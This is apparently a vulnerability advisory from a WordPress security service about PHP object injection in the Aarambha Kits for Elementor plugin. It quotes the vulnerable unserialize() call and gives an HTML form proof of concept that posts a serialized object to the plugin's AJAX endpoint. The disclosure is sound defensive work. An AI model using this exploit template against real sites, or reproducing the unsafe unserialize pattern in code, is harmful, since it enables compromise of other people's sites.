Authenticated PHP Object Injection Vulnerability in Aarambha Kits for Elementor

One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a variant of one of those vulnerabilities, an authenticated PHP object injection vulnerability in a brand new plugin, Aarambha Kits for Elementor.

We now are also running all the plugins used by our customers through the same system used for the proactive monitoring on a weekly basis to provide additional protection for them.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

We tested and confirmed that our firewall plugin for WordPress protected against exploitation of this vulnerability, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

Authenticated PHP Object Injection Vulnerability

In the file /includes/functions.php, the plugin registers the function aarambha_kits_category_tabbed_posts() to be accessible through WordPress AJAX functionality:

759
760

add_action( 'wp_ajax_aarambha_kits_category_tabbed_posts', 'aarambha_kits_category_tabbed_posts' ); // for logged in users
add_action( 'wp_ajax_nopriv_aarambha_kits_category_tabbed_posts', 'aarambha_kits_category_tabbed_posts' ); // for non logged in users

It is registered to be accessible to even those not logged in to WordPress, despite appearing only to be intended for those able to edit posts.

That function will pass the value of the POST input “settings” through the unserialize() function, which permits PHP object injection to occur:

function aarambha_kits_category_tabbed_posts() {
 
	if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'aarambha-kits-nonce' ) ) {
		die( 'Permissions check failed.' );
	}
 
	$settings = unserialize( stripslashes( $_POST['settings'] ) );

There is a check for a valid nonce, which prevents cross-site request forgery (CSRF) from being possible and looks to limit access to only WordPress users who edit posts with the Elementor editor. That would still permit low-level users to exploit the vulnerability.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress and “[nonce]” with a valid once, which can be found on a Elementor editor page on the line that starts “var ajax_object =”

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=aarambha_kits_category_tabbed_posts" method="POST">
<input type="hidden" name="settings" value='O:20:"php_object_injection":0:{}' />
<input type="hidden" name="nonce" value="[nonce]" />
<input type="submit" value="Submit" />
</form>
</body>